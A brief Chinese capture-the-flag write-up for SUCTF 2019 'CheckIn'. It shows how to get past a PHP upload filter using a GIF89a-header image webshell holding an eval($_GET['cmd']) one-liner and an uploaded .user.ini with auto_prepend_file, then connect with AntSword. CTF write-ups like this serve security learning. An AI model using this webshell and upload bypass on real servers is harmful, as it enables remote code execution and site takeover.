[SUCTF 2019]CheckIn
知识点
-
图片马制作 copy 01.jpg/a + 02.php/b test.jpg
-
.user.ini的上传 GIF89a(如果需要的话) auto_prepend_file=test.jpg
过程
主页是一个上传页面
上传.php
,提示非法后缀
尝试将.php后缀改成.jpg,提示过滤了<?
正常上传图片,上传成功
修改请求体中的一句话木马内容为
<script language="php">eval($_GET['cmd']);</script>
上传后,页面返回提示
搜罗资料
exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)exif_imagetype — 判断一个图像的类型
说明
exif_imagetype ( string $filename ) : intexif_imagetype() 读取一个图像的第一个字节并检查其签名。
这个函数就是检查文件头,直接制作图片马
成功上传,但是此时还无法执行PHP脚本,接着我们可以上传一个user.ini
的文件(经过测试,没有过滤该后缀),我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell,关于该文件详见:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
然后我们去上传,文件名为.user.ini
GIF89a
auto_prepend_file=test.jpg
蚁剑连接即可